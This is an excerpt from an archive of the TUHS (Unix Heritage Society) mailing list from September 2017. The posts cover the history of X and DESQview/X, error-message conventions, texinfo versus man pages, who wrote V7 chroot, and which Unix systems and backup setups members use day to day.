 <CAC5iaNGwPEkkKMZghOg_PQjRjMs_nP+z2eWkcpoy24BHScQRig@mail.gmail.com>
 <1620f879-e4be-7fca-8bf7-a1a8896d8ba1@case.edu>
 <CAJfiPzx7nHnFN0=Ddz9Dmqy3KF-6w6TOXSj-RF2c9a+tBna9BA@mail.gmail.com>
 <8e0ad468-ddc0-72b8-e1fb-3111f6c33314@case.edu>
Message-ID: <bee6929c-8ac6-1a6a-1ee7-6e289fbc1026@case.edu>

On 9/19/17 2:32 PM, Chet Ramey wrote:
> On 9/19/17 2:23 PM, Nemo wrote:
>> On 19 September 2017 at 11:39, Chet Ramey <chet.ramey at case.edu> wrote:
>>> On 9/19/17 11:16 AM, Gregg Levine wrote:
>>>> Hello!
>>>> Wasn't the original project called "Athena", and wasn't it pursued by
>>>> one of the many Labs at MIT?
>>>
>>> The athena project was indeed at MIT, and X was a part of that. This
>>> would have been started and developed during the mid-1980s (1983, to be
>>> exact).  X's predecessor was a window system named W, which was developed
>>> at Stanford. Bob Scheifler used W as the basis for X.
>>
>> I vaguely recall (assuming no bit rot) that IBM was also involved and
>> they refused to release their portion under FRAND terms, leading Bob
>> to write X.
> 
> As I understand it, Scheifler began with W, which Paul Asente and Chris
> Kent had ported to Unix and given him a copy. He initially replaced its
> synchronous protocol with an asynchronous one and went on from there.

This is covered in one of the original Athena papers: The X Window System
by Scheifler and Gettys. I have the full set of "Project Athena: The First
Ten Years"; it's in volume 1. I think that paper was presented at a
couple of conferences, so there are probably copies floating around on the
net somewhere.

-- 
``The lyf so short, the craft so long to lerne.'' - Chaucer
		 ``Ars longa, vita brevis'' - Hippocrates
Chet Ramey, UTech, CWRU    chet at case.edu    http://cnswww.cns.cwru.edu/~chet/


From dfawcus+lists-tuhs at employees.org  Wed Sep 20 04:56:55 2017
From: dfawcus+lists-tuhs at employees.org (Derek Fawcus)
Date: Tue, 19 Sep 2017 19:56:55 +0100
Subject: [TUHS] old X versions (was:X and NeWS history)
In-Reply-To: <CAC5iaNHg1e4VodSzp59pD9oabC7sp-DZ0nNaZhwipWzvRLuZww@mail.gmail.com>
References: <201709122211.v8CMB3pf029787@darkstar.fourwinds.com>
 <y2ashfrxz6k.fsf@offog.org>
 <201709130014.v8D0EHEi021561@darkstar.fourwinds.com>
 <e17188e9-abe0-33d5-54b8-73ce98ca28f8@groessler.org>
 <1505781872.3170445.1110508336.1E68BC0D@webmail.messagingengine.com>
 <CACCFpdx0q6GGK4YpT9N8b_DROiuwYBR=bWsx2VtB1k=77b5x8Q@mail.gmail.com>
 <201709191405.v8JE5iI5027378@darkstar.fourwinds.com>
 <CAC5iaNGwPEkkKMZghOg_PQjRjMs_nP+z2eWkcpoy24BHScQRig@mail.gmail.com>
 <alpine.BSF.2.02.1709191301060.12195@frieza.hoshinet.org>
 <CAC5iaNHg1e4VodSzp59pD9oabC7sp-DZ0nNaZhwipWzvRLuZww@mail.gmail.com>
Message-ID: <20170919185655.GA90173@accordion.employees.org>

On Tue, Sep 19, 2017 at 01:15:25PM -0400, Gregg Levine wrote:
> Hello!
> Spot on. I've used it, and attempted to get it to work. Annoying thing
> it is, is that it only sees Novell's IPX based networking.

That sounds... useless.

I've got some vague memory of it being used on TCP/IP; and I wasn't even aware X ran over IPX (SPX?).

Are you sure it isn't just ODI vs NDIS vs packet driver level stuff?

DF


From torek at torek.net  Wed Sep 20 05:21:45 2017
From: torek at torek.net (Chris Torek)
Date: Tue, 19 Sep 2017 12:21:45 -0700
Subject: [TUHS] Happy birthday,
	Dennis Ritchie! [ really sun vs dec/apollo --> X and NeWS ]
In-Reply-To: Your message of "Tue, 19 Sep 2017 14:09:06 -0400."
 <1505844546.1334583.1111457456.3BAC6336@webmail.messagingengine.com>
Message-ID: <201709191921.v8JJLjKn049984@elf.torek.net>

>BSD's err/warn family is a further refinement on this - it allows
>format/arguments, as I complained about in another post ...

Yes, which is why I pushed for having something like this.
The final implementation (err, errx, warn, warnx) is not
quite what I had suggested (I had an error-exit-code that,
if 0, meant this was a warning, i.e., don't exit) but the
essence is all there.

>and lets you specify what file to send output to,

It does now.  That was not in the original.  It's a good
idea though.

>and the existence of err vs warn lets you avoid having
>exit as a separate step.

I still like my "exit code" argument with zero for warn,
since it pushes one towards a nonzero exit for all errors.

Chris


From krewat at kilonet.net  Wed Sep 20 05:22:30 2017
From: krewat at kilonet.net (Arthur Krewat)
Date: Tue, 19 Sep 2017 15:22:30 -0400
Subject: [TUHS] old X versions
In-Reply-To: <20170919185655.GA90173@accordion.employees.org>
References: <201709122211.v8CMB3pf029787@darkstar.fourwinds.com>
 <y2ashfrxz6k.fsf@offog.org>
 <201709130014.v8D0EHEi021561@darkstar.fourwinds.com>
 <e17188e9-abe0-33d5-54b8-73ce98ca28f8@groessler.org>
 <1505781872.3170445.1110508336.1E68BC0D@webmail.messagingengine.com>
 <CACCFpdx0q6GGK4YpT9N8b_DROiuwYBR=bWsx2VtB1k=77b5x8Q@mail.gmail.com>
 <201709191405.v8JE5iI5027378@darkstar.fourwinds.com>
 <CAC5iaNGwPEkkKMZghOg_PQjRjMs_nP+z2eWkcpoy24BHScQRig@mail.gmail.com>
 <alpine.BSF.2.02.1709191301060.12195@frieza.hoshinet.org>
 <CAC5iaNHg1e4VodSzp59pD9oabC7sp-DZ0nNaZhwipWzvRLuZww@mail.gmail.com>
 <20170919185655.GA90173@accordion.employees.org>
Message-ID: <3f0ba4da-ca2a-e77d-f6e5-76f309822738@kilonet.net>



On 9/19/2017 2:56 PM, Derek Fawcus wrote:
> On Tue, Sep 19, 2017 at 01:15:25PM -0400, Gregg Levine wrote:
>> Hello!
>> Spot on. I've used it, and attempted to get it to work. Annoying thing
>> it is, is that it only sees Novell's IPX based networking.
> That sounds... useless.
>
> I've got some vague memory of it being used on TCP/IP; and I wasn't even aware X ran over IPX (SPX?).
>
> Are you sure it isn't just ODI vs NDIS vs packet driver level stuff?
>
> DF
>

http://www.cs.cmu.edu/afs/cs.cmu.edu/project/phrensy/pub/www/dvx/faq.txt

      To communicate with Unix machines, you must have a TCP/IP
      protocol stack that DESQview/X can communicate with. The
      following products are compatible:
           FTP's PCTCP
           HP/Lanman TCP/IP
           Novell's Lan Workplace for DOS
           PathWay Access (from The Wollongong Group Inc.)
           BW-TCP and BW-NFS (from Beame & Whiteside Software Ltd.)
           PC-NFS (from Sun Microsystems)

I remember playing around with it a long time ago - I think I used PC-NFS with it.



From stewart at serissa.com  Wed Sep 20 05:31:44 2017
From: stewart at serissa.com (Lawrence Stewart)
Date: Tue, 19 Sep 2017 15:31:44 -0400
Subject: [TUHS] Happy birthday,
 Dennis Ritchie! [ really sun vs dec/apollo --> X and NeWS ]
In-Reply-To: <1505843808.1332176.1111446696.14AB97E4@webmail.messagingengine.com>
References: <f05f5fe905a5279e242c1ff265f43c690eb4052e@webmail.yaccman.com>
 <1505782328.3172479.1110519744.63D53ACC@webmail.messagingengine.com>
 <20170919025031.GA25650@mcvoy.com> <20170919135359.G38me%steffen@sdaoden.eu>
 <20170919135652.GN25650@mcvoy.com>
 <1505843808.1332176.1111446696.14AB97E4@webmail.messagingengine.com>
Message-ID: <4DFC0ABE-1601-44A5-8A56-97AB95575F22@serissa.com>

Being too lazy to type __FILE__ and __LINE__ all the time I tend to do this:

#define whereprintf(fmt, ...) printf("%s:%d: " fmt, __FILE__, __LINE__, ##__VA_ARGS__)

which works when fmt is a constant anyway.

My rant about error messages is that programmers too infrequently make them actionable.  

I group errors into 4 categories:

* Things the user can fix (file not found)
* Temporary resource constraints (destination unreachable, disk full)
* Things the admin can fix (library not found)
* Things the author of the program can fix (assertion failures)

In each case, the kind of information needed is different, and the level of noise and specificity may differ as well.  The user wants to know (a) how to fix it or (b) who to ask.

Finally, When faced with an unfamiliar error, the natural reaction of a 2017 user is to cut and past the error into a search engine.  Consequently I think often the right thing to do is to put a unique ID in the error message that will find it on the support website (or user forum, or …)

-L

PS Daughter is working on a master’s project to improve the quality of errors from the python interpreter/compiler.  Sorely needed.

From steve at sk2.org  Wed Sep 20 05:19:06 2017
From: steve at sk2.org (Stephen Kitt)
Date: Tue, 19 Sep 2017 21:19:06 +0200
Subject: [TUHS] old X versions
In-Reply-To: <bee6929c-8ac6-1a6a-1ee7-6e289fbc1026@case.edu>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <201709111649.v8BGnGTx005812@darkstar.fourwinds.com>
 <20170911230910.GH7819@mcvoy.com>
 <201709120738.v8C7ckOF007026@freefriends.org>
 <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <cf237a06-76b6-9d50-8a49-df9f9ce652a2@kilonet.net>
 <201709122211.v8CMB3pf029787@darkstar.fourwinds.com>
 <y2ashfrxz6k.fsf@offog.org>
 <201709130014.v8D0EHEi021561@darkstar.fourwinds.com>
 <e17188e9-abe0-33d5-54b8-73ce98ca28f8@groessler.org>
 <1505781872.3170445.1110508336.1E68BC0D@webmail.messagingengine.com>
 <CACCFpdx0q6GGK4YpT9N8b_DROiuwYBR=bWsx2VtB1k=77b5x8Q@mail.gmail.com>
 <201709191405.v8JE5iI5027378@darkstar.fourwinds.com>
 <CAC5iaNGwPEkkKMZghOg_PQjRjMs_nP+z2eWkcpoy24BHScQRig@mail.gmail.com>
 <1620f879-e4be-7fca-8bf7-a1a8896d8ba1@case.edu>
 <CAJfiPzx7nHnFN0=Ddz9Dmqy3KF-6w6TOXSj-RF2c9a+tBna9BA@mail.gmail.com>
 <8e0ad468-ddc0-72b8-e1fb-3111f6c33314@case.edu>
 <bee6929c-8ac6-1a6a-1ee7-6e289fbc1026@case.edu>
Message-ID: <20170919211906.49124f1a@heffalump.sk2.org>

On Tue, 19 Sep 2017 14:43:59 -0400, Chet Ramey <chet.ramey at case.edu> wrote:
> On 9/19/17 2:32 PM, Chet Ramey wrote:
> > As I understand it, Scheifler began with W, which Paul Asente and Chris
> > Kent had ported to Unix and given him a copy. He initially replaced its
> > synchronous protocol with an asynchronous one and went on from there.  
> 
> This is covered in one of the original Athena papers: The X Window System
> by Scheifler and Gettys. I have the full set of "Project Athena: The First
> Ten Years"; it's in volume 1. I think that paper was presented at a
> couple of conferences, so there are probably copies floating around on the
> net somewhere.

E.g. in the ACM’s Digital Library: http://dl.acm.org/citation.cfm?id=24053
(from ACM Transactions on Graphics Volume 5 Issue 2).

Regards,

Stephen


From gregg.drwho8 at gmail.com  Wed Sep 20 06:15:46 2017
From: gregg.drwho8 at gmail.com (Gregg Levine)
Date: Tue, 19 Sep 2017 16:15:46 -0400
Subject: [TUHS] old X versions (was:X and NeWS history)
In-Reply-To: <20170919185655.GA90173@accordion.employees.org>
References: <201709122211.v8CMB3pf029787@darkstar.fourwinds.com>
 <y2ashfrxz6k.fsf@offog.org>
 <201709130014.v8D0EHEi021561@darkstar.fourwinds.com>
 <e17188e9-abe0-33d5-54b8-73ce98ca28f8@groessler.org>
 <1505781872.3170445.1110508336.1E68BC0D@webmail.messagingengine.com>
 <CACCFpdx0q6GGK4YpT9N8b_DROiuwYBR=bWsx2VtB1k=77b5x8Q@mail.gmail.com>
 <201709191405.v8JE5iI5027378@darkstar.fourwinds.com>
 <CAC5iaNGwPEkkKMZghOg_PQjRjMs_nP+z2eWkcpoy24BHScQRig@mail.gmail.com>
 <alpine.BSF.2.02.1709191301060.12195@frieza.hoshinet.org>
 <CAC5iaNHg1e4VodSzp59pD9oabC7sp-DZ0nNaZhwipWzvRLuZww@mail.gmail.com>
 <20170919185655.GA90173@accordion.employees.org>
Message-ID: <CAC5iaNH0i7SFa0FbENMaA+0N-RgKvdTqEAT+h=01jRBBEbkz9Q@mail.gmail.com>

Hello!
Basically it was indeed looking for an ODI delivered stack for IPX, it
would further accept TCP/IP stacks, but it was an involved process.
Oddly enough its all freeware with one group claiming to have the
entire collection available free for download.

-----
Gregg C Levine gregg.drwho8 at gmail.com
"This signature fought the Time Wars, time and again."


On Tue, Sep 19, 2017 at 2:56 PM, Derek Fawcus
<dfawcus+lists-tuhs at employees.org> wrote:
> On Tue, Sep 19, 2017 at 01:15:25PM -0400, Gregg Levine wrote:
>> Hello!
>> Spot on. I've used it, and attempted to get it to work. Annoying thing
>> it is, is that it only sees Novell's IPX based networking.
>
> That sounds... useless.
>
> I've got some vague memory of it being used on TCP/IP; and I wasn't even aware X ran over IPX (SPX?).
>
> Are you sure it isn't just ODI vs NDIS vs packet driver level stuff?
>
> DF


From pete at dunnington.plus.com  Wed Sep 20 06:31:15 2017
From: pete at dunnington.plus.com (Pete Turnbull)
Date: Tue, 19 Sep 2017 21:31:15 +0100
Subject: [TUHS] Another "craft" discussion topic - mindless tool
 proliferation
In-Reply-To: <alpine.BSF.2.02.1709191304360.12195@frieza.hoshinet.org>
References: <201709191701.v8JH1vck032168@darkstar.fourwinds.com>
 <alpine.BSF.2.02.1709191304360.12195@frieza.hoshinet.org>
Message-ID: <0b348e6f-d4f7-5a51-eccf-55cb57873e42@dunnington.plus.com>

On 19/09/2017 18:05, Steve Nickolas wrote:
> On Tue, 19 Sep 2017, Jon Steinhart wrote:
> 
>> Turns out that one of the main reasons given for angular over jQuery was
>> that "it's fresh".  That was a new one for me.  Still unclear why 
>> freshness
>> is an attribute that would trump stability.
> 
> I see it all the time and call it "blinded by the leet".

LOL!  Yes, I come across that attitude all too often.  I must remember 
that phrase :-)

-- 
Pete
Pete Turnbull


From imp at bsdimp.com  Wed Sep 20 06:37:54 2017
From: imp at bsdimp.com (Warner Losh)
Date: Tue, 19 Sep 2017 14:37:54 -0600
Subject: [TUHS] Another "craft" discussion topic - mindless tool
	proliferation
In-Reply-To: <0b348e6f-d4f7-5a51-eccf-55cb57873e42@dunnington.plus.com>
References: <201709191701.v8JH1vck032168@darkstar.fourwinds.com>
 <alpine.BSF.2.02.1709191304360.12195@frieza.hoshinet.org>
 <0b348e6f-d4f7-5a51-eccf-55cb57873e42@dunnington.plus.com>
Message-ID: <CANCZdfoJniU=mL2RDU+Wsj45M=YERohGCq1igDq2mg=KBSK5+A@mail.gmail.com>

On Tue, Sep 19, 2017 at 2:31 PM, Pete Turnbull <pete at dunnington.plus.com>
wrote:

> On 19/09/2017 18:05, Steve Nickolas wrote:
>
>> On Tue, 19 Sep 2017, Jon Steinhart wrote:
>>
>> Turns out that one of the main reasons given for angular over jQuery was
>>> that "it's fresh".  That was a new one for me.  Still unclear why
>>> freshness
>>> is an attribute that would trump stability.
>>>
>>
>> I see it all the time and call it "blinded by the leet".
>>
>
> LOL!  Yes, I come across that attitude all too often.  I must remember
> that phrase :-


Don't you mean "Blinded by the 1337?" or is 1337-speak passed from cool
into pase' now?

Warner
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170919/0c4edac0/attachment.html>

From wkt at tuhs.org  Wed Sep 20 08:22:58 2017
From: wkt at tuhs.org (Warren Toomey)
Date: Wed, 20 Sep 2017 08:22:58 +1000
Subject: [TUHS] V7 chroot author?
Message-ID: <20170919222258.GA15151@minnie.tuhs.org>

All, I just had this question popped into my inbox.
Cheers, Warren

----- Forwarded message from Evan Koblentz <evan at snarc.net> -----

Hi Warren. Evan K. here from Vintage Computer Festival, etc.
I'm trying to find out who invented the Chroot command in Version 7 Unix.
Could you help, possibly including a post to TUHS email list on my behalf?
I posted to our local (northeast US) list and also emailed Brian Kernighan and 
Bill Cheswick.
Hoping this leads to an answer. I'm looking for a name, not just generalities.
Thanks very much.

----- End forwarded message -----


From tytso at mit.edu  Wed Sep 20 09:35:25 2017
From: tytso at mit.edu (Theodore Ts'o)
Date: Tue, 19 Sep 2017 19:35:25 -0400
Subject: [TUHS] Another "craft" discussion topic - mindless tool
 proliferation
In-Reply-To: <201709191701.v8JH1vck032168@darkstar.fourwinds.com>
References: <201709191701.v8JH1vck032168@darkstar.fourwinds.com>
Message-ID: <20170919233525.k3otv5as6xi2rqht@thunk.org>

On Tue, Sep 19, 2017 at 10:01:57AM -0700, Jon Steinhart wrote:
> OK, here's another one that's good for chest thumping...
> 
> I am not a fan of texinfo.  It doesn't provide any benefits (to me) over man.
> 
> I suppose that it was trailblazing in that it broke manual pages up into
> sections that couldn't easily be viewed concurrently long before the www and
> web pages that broke things up into multiple pages to make room for more ads.

If you take a look at how perl handles its man pages, with 188 man
pages in section 1:

...
           perlsyn             Perl syntax
           perldata            Perl data structures
           perlop              Perl operators and precedence
	   perlsub             Perl subroutines
...

I find that info system, with its hypertext linking, to be far more
convenient.  I've occasionally wished that the perl documentation was
available in info file format.

But sometimes the extra complexity of, say, gdb or gmake, provides a
lot of convenience.  And the question is whether man is a sufficient
way to provide documentation.  I would humbly submit that the choice
of using man pages as used by perl is an existence proof that man is
*not* the optimal way to provide documentation for a sufficiently
complex language or program.

(If the answer is that Unix programs should never be that complicated;
that's fine.  But at least for me personally, I prefer to use gdb,
with its texinfo/info files, over adb with its man page.  If you want
to argue that "real programmers" should be able to decipher structure
layouts by looking at C structure declarations and creating adb macros
by hand, and that DWARF annotations are for the weak and sickly, fair
enough.  :-)

					- Ted


From wes.parish at paradise.net.nz  Wed Sep 20 09:40:31 2017
From: wes.parish at paradise.net.nz (Wesley Parish)
Date: Wed, 20 Sep 2017 11:40:31 +1200 (NZST)
Subject: [TUHS] old X versions (was:X and NeWS history)
In-Reply-To: <CAC5iaNGwPEkkKMZghOg_PQjRjMs_nP+z2eWkcpoy24BHScQRig@mail.gmail.com>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <b45b9e23-aaa4-4f54-9480-ff0aaac36cc6.maildroid@localhost>
 <CABH=_VQKSibxN4VgF-1AwgseqRCeVbVApvVR0cE8fMFQWLCuQQ@mail.gmail.com>
 <201709111649.v8BGnGTx005812@darkstar.fourwinds.com>
 <20170911230910.GH7819@mcvoy.com>
 <201709120738.v8C7ckOF007026@freefriends.org>
 <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <cf237a06-76b6-9d50-8a49-df9f9ce652a2@kilonet.net>
 <201709122211.v8CMB3pf029787@darkstar.fourwinds.com>
 <y2ashfrxz6k.fsf@offog.org>
 <201709130014.v8D0EHEi021561@darkstar.fourwinds.com>
 <e17188e9-abe0-33d5-54b8-73ce98ca28f8@groessler.org>
 <1505781872.3170445.1110508336.1E68BC0D@webmail.messagingengine.com>
 <CACCFpdx0q6GGK4YpT9N8b_DROiuwYBR=bWsx2VtB1k=77b5x8Q@mail.gmail.com>
 <201709191405.v8JE5iI5027378@darkstar.fourwinds.com>
 <CAC5iaNGwPEkkKMZghOg_PQjRjMs_nP+z2eWkcpoy24BHScQRig@mail.gmail.com>
Message-ID: <1505864431.59c1aaefb90c0@www.paradise.net.nz>

Quoting Gregg Levine <gregg.drwho8 at gmail.com>:

> Hello!
> Wasn't the original project called "Athena", and wasn't it pursued by
> one of the many Labs at MIT? I remember going over it in a big way
> about the same time I started being an almost serious kernel hacker,
> and that was while the kernel created by Linus was using BitKeeper as
> its source control mechanism. This was around the turn of the century.
> 
> Oddly enough I also pursued and engaged a company who attempted to
> combine an early X release with thier DOS based multitasking tool. The
> discussion was rewarding, but it did not save the company.

DeskView/X? I came across that in the early nineties and thought it sounded promising, but as I heard 
nothing more of it after a while I thought, they've gone under.

Wesley Parish

> -----
> Gregg C Levine gregg.drwho8 at gmail.com
> "This signature fought the Time Wars, time and again."
> 
> 
> On Tue, Sep 19, 2017 at 10:05 AM, Jon Steinhart <jon at fourwinds.com>
> wrote:
> > Nigel Williams writes:
> >> Is the forerunner of X, I think called W? still around somewhere in
> source-form?
> >
> > No clue. Did a quick search and didn't find it.
>  



"I have supposed that he who buys a Method means to learn it." - Ferdinand Sor,
Method for Guitar

"A verbal contract isn't worth the paper it's written on." -- Samuel Goldwyn


From gtaylor at tnetconsulting.net  Wed Sep 20 09:46:40 2017
From: gtaylor at tnetconsulting.net (Grant Taylor)
Date: Tue, 19 Sep 2017 17:46:40 -0600
Subject: [TUHS] old X versions
In-Reply-To: <1505864431.59c1aaefb90c0@www.paradise.net.nz>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <b45b9e23-aaa4-4f54-9480-ff0aaac36cc6.maildroid@localhost>
 <CABH=_VQKSibxN4VgF-1AwgseqRCeVbVApvVR0cE8fMFQWLCuQQ@mail.gmail.com>
 <201709111649.v8BGnGTx005812@darkstar.fourwinds.com>
 <20170911230910.GH7819@mcvoy.com>
 <201709120738.v8C7ckOF007026@freefriends.org>
 <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <cf237a06-76b6-9d50-8a49-df9f9ce652a2@kilonet.net>
 <201709122211.v8CMB3pf029787@darkstar.fourwinds.com>
 <y2ashfrxz6k.fsf@offog.org>
 <201709130014.v8D0EHEi021561@darkstar.fourwinds.com>
 <e17188e9-abe0-33d5-54b8-73ce98ca28f8@groessler.org>
 <1505781872.3170445.1110508336.1E68BC0D@webmail.messagingengine.com>
 <CACCFpdx0q6GGK4YpT9N8b_DROiuwYBR=bWsx2VtB1k=77b5x8Q@mail.gmail.com>
 <201709191405.v8JE5iI5027378@darkstar.fourwinds.com>
 <CAC5iaNGwPEkkKMZghOg_PQjRjMs_nP+z2eWkcpoy24BHScQRig@mail.gmail.com>
 <1505864431.59c1aaefb90c0@www.paradise.net.nz>
Message-ID: <d018000d-e9be-0f3a-6b96-0a3272cc9a94@tnetconsulting.net>

On 09/19/2017 05:40 PM, Wesley Parish wrote:
> DeskView/X? I came across that in the early nineties and thought as 
> I heard it sounded promising, but nothing more of it after a while
> I thought, they've gone under.

I ran across DeskView in the mid '90s too.  I occasionally thought about 
how it did graphics in MS-DOS but never really thought that much about it.

Since learning about DeskView's X11 (or 10?) server in the last few 
months, I'd like to get my hands on a copy to play with.  You know, for 
giggles.



-- 
Grant. . . .
unix || die

-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 3717 bytes
Desc: S/MIME Cryptographic Signature
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170919/f85a5224/attachment.bin>

From krewat at kilonet.net  Wed Sep 20 10:06:42 2017
From: krewat at kilonet.net (Arthur Krewat)
Date: Tue, 19 Sep 2017 20:06:42 -0400
Subject: [TUHS] old X versions
In-Reply-To: <d018000d-e9be-0f3a-6b96-0a3272cc9a94@tnetconsulting.net>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <b45b9e23-aaa4-4f54-9480-ff0aaac36cc6.maildroid@localhost>
 <CABH=_VQKSibxN4VgF-1AwgseqRCeVbVApvVR0cE8fMFQWLCuQQ@mail.gmail.com>
 <201709111649.v8BGnGTx005812@darkstar.fourwinds.com>
 <20170911230910.GH7819@mcvoy.com>
 <201709120738.v8C7ckOF007026@freefriends.org>
 <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <cf237a06-76b6-9d50-8a49-df9f9ce652a2@kilonet.net>
 <201709122211.v8CMB3pf029787@darkstar.fourwinds.com>
 <y2ashfrxz6k.fsf@offog.org>
 <201709130014.v8D0EHEi021561@darkstar.fourwinds.com>
 <e17188e9-abe0-33d5-54b8-73ce98ca28f8@groessler.org>
 <1505781872.3170445.1110508336.1E68BC0D@webmail.messagingengine.com>
 <CACCFpdx0q6GGK4YpT9N8b_DROiuwYBR=bWsx2VtB1k=77b5x8Q@mail.gmail.com>
 <201709191405.v8JE5iI5027378@darkstar.fourwinds.com>
 <CAC5iaNGwPEkkKMZghOg_PQjRjMs_nP+z2eWkcpoy24BHScQRig@mail.gmail.com>
 <1505864431.59c1aaefb90c0@www.paradise.net.nz>
 <d018000d-e9be-0f3a-6b96-0a3272cc9a94@tnetconsulting.net>
Message-ID: <99c4dcdc-5f18-c580-1359-783a2931a107@kilonet.net>

http://www.chsoft.com/dv.html

Or google it - it's all over the place.

On 9/19/2017 7:46 PM, Grant Taylor wrote:
> On 09/19/2017 05:40 PM, Wesley Parish wrote:
>> DeskView/X? I came across that in the early nineties and thought as I 
>> heard it sounded promising, but nothing more of it after a while
>> I thought, they've gone under.
>
> I ran across DeskView in the mid '90s too.  I occasionally thought 
> about how it did graphics in MS-DOS but never really thought that much 
> about it.
>
> Since learning about DeskView's X11 (or 10?) server in the last few 
> months, I'd like to get my hands on a copy to play with.  You know, 
> for giggles.
>
>
>



From krewat at kilonet.net  Wed Sep 20 10:12:57 2017
From: krewat at kilonet.net (Arthur Krewat)
Date: Tue, 19 Sep 2017 20:12:57 -0400
Subject: [TUHS] UNIX of choice these days?
Message-ID: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>

What's your UNIX of choice to do normal "real" things these days?

Home file server (NAS), business stuff, develop code, whatever.

Mine is Solaris 11.3 at this point. Oracle has provided almost all the 
"normal" utilities that are used by Linux folk, and it runs on Intel 
hardware rather well. My main storage is a raidz2 of 24TB and I get 
1.2GB/sec to a bunch of 3TB 512-byte-sector SAS drives.

It serves my vmware farm with iSCSI at 10gbe using COMSTAR, which also 
houses a bunch of Solaris 11 guests that perform various chores. It also 
houses some Linux and Windows guests for prototyping/testing. It's also 
my Samba server, servicing a few Windows workstations.

This is all in my home office where I do all my personal/professional work.

What do you all use for day-to-day development and general playing 
around with new stuff?

AAK


From lm at mcvoy.com  Wed Sep 20 10:26:27 2017
From: lm at mcvoy.com (Larry McVoy)
Date: Tue, 19 Sep 2017 17:26:27 -0700
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
References: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
Message-ID: <20170920002627.GX25650@mcvoy.com>

xubuntu everywhere.  Laptops and my backup server.

BTW, I used to do external USB drives for backups, have zillions of
them sitting around unused now.  What I do now is I have a backup
server in my guest house (w/ gigabit cable to the house, wireless
was flakey) and two 4TB drivers as /backup1 and /backup2.  I just 
do rsyncs to backup:/backup1/`hostname` and I've got all the stuff
backed up and I haven't filled a 4TB drive yet.  It's WAY more efficient
than going "oh, I've got a 500GB SSD in this laptop?  Let me create a
500GB partition for it."  because of:

Filesystem      Size  Used Avail Use% Mounted on
/dev/sda1       462G  179G  260G  41% /

I need to mirror that 4TB to a cloud machine or a work machine so I have
offsite backups but it would take a pretty big mess for me to lose both
buildings.  It's possible, we live in forest fire country.

On Tue, Sep 19, 2017 at 08:12:57PM -0400, Arthur Krewat wrote:
> What's your UNIX of choice to do normal "real" things these days?
> 
> Home file server (NAS), business stuff, develop code, whatever.
> 
> Mine is Solaris 11.3 at this point. Oracle has provided almost all the
> "normal" utilities that are used by Linux folk, and it runs on Intel
> hardware rather well. My main storage is a raidz2 of 24TB and I get
> 1.2GB/sec to a bunch of 3TB 512-byte-sector SAS drives.
> 
> It serves my vmware farm with iSCSI at 10gbe using COMSTAR, which also
> houses a bunch of Solaris 11 guests that perform various chores. It also
> houses some Linux and Windows guests for prototyping/testing. It's also my
> Samba server, servicing a few Windows workstations.
> 
> This is all in my home office where I do all my personal/professional work.
> 
> What do you all use for day-to-day development and general playing around
> with new stuff?
> 
> AAK

-- 
---
Larry McVoy            	     lm at mcvoy.com             http://www.mcvoy.com/lm 


From dave at horsfall.org  Wed Sep 20 10:39:42 2017
From: dave at horsfall.org (Dave Horsfall)
Date: Wed, 20 Sep 2017 10:39:42 +1000 (EST)
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
References: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
Message-ID: <alpine.BSF.2.21.1709201036150.89458@aneurin.horsfall.org>

Definitely FreeBSD, because it's solid, has thousands of ports, and well, 
is BSD...  And I access it via my MacBook :-)

Be aware, though, that its mailing lists appear to be spam magnets i.e. 
anyone can post, not just members, and there is no attempt at moderation.

-- 
Dave Horsfall DTM (VK2KFU)  "Those who don't understand security will suffer."


From lyndon at orthanc.ca  Wed Sep 20 10:47:42 2017
From: lyndon at orthanc.ca (Lyndon Nerenberg)
Date: Tue, 19 Sep 2017 17:47:42 -0700
Subject: [TUHS] Another "craft" discussion topic - mindless tool
 proliferation
In-Reply-To: <20170919233525.k3otv5as6xi2rqht@thunk.org>
References: <201709191701.v8JH1vck032168@darkstar.fourwinds.com>
 <20170919233525.k3otv5as6xi2rqht@thunk.org>
Message-ID: <91641FC6-4CF5-4682-B8C3-8BB3DCCB208C@orthanc.ca>


> On Sep 19, 2017, at 4:35 PM, Theodore Ts'o <tytso at mit.edu> wrote:
> 
> If you take a look at how perl handles its man pages, with 188 man
> pages in section 1:

... you quickly recognize the difference between a manpage (i.e. reference page) and a user manual.  Perl's (and other's) attempts to pack a 200 page user guide into a block of manpages is a misuse of what manpages represent.

texinfo was a good move in the direction towards online, cross-referenced, user documentation.  But so often that lead to manpages that consisted of the single line "see the texinfo doc"; the documentation authors completely missing the point.

--lyndon



From lm at mcvoy.com  Wed Sep 20 11:02:06 2017
From: lm at mcvoy.com (Larry McVoy)
Date: Tue, 19 Sep 2017 18:02:06 -0700
Subject: [TUHS] Another "craft" discussion topic - mindless tool
 proliferation
In-Reply-To: <91641FC6-4CF5-4682-B8C3-8BB3DCCB208C@orthanc.ca>
References: <201709191701.v8JH1vck032168@darkstar.fourwinds.com>
 <20170919233525.k3otv5as6xi2rqht@thunk.org>
 <91641FC6-4CF5-4682-B8C3-8BB3DCCB208C@orthanc.ca>
Message-ID: <20170920010206.GZ25650@mcvoy.com>

On Tue, Sep 19, 2017 at 05:47:42PM -0700, Lyndon Nerenberg wrote:
> 
> > On Sep 19, 2017, at 4:35 PM, Theodore Ts'o <tytso at mit.edu> wrote:
> > 
> > If you take a look at how perl handles its man pages, with 188 man
> > pages in section 1:
> 
